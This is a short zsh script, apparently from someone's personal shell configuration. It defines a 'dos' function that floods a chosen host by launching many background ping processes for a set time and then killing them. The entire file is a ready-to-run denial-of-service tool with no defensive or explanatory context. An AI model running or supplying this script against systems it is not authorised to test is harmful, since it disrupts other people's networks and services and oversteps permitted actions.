#! /bin/zsh
#
# this file:
#   https://dataswamp.org/~incal/conf/.zsh/dos

dos () {
    local host="$1"
    local n=${2:-20}
    local t=${3:-10}

    echo "ping flood on $host ..."

    for (( i=1; $i <= $n; i++ )); do
        /bin/ping $host > /dev/null &
        echo -n "$i "
    done

    echo -n '\b.\n'
    sleep $t
    killall ping
}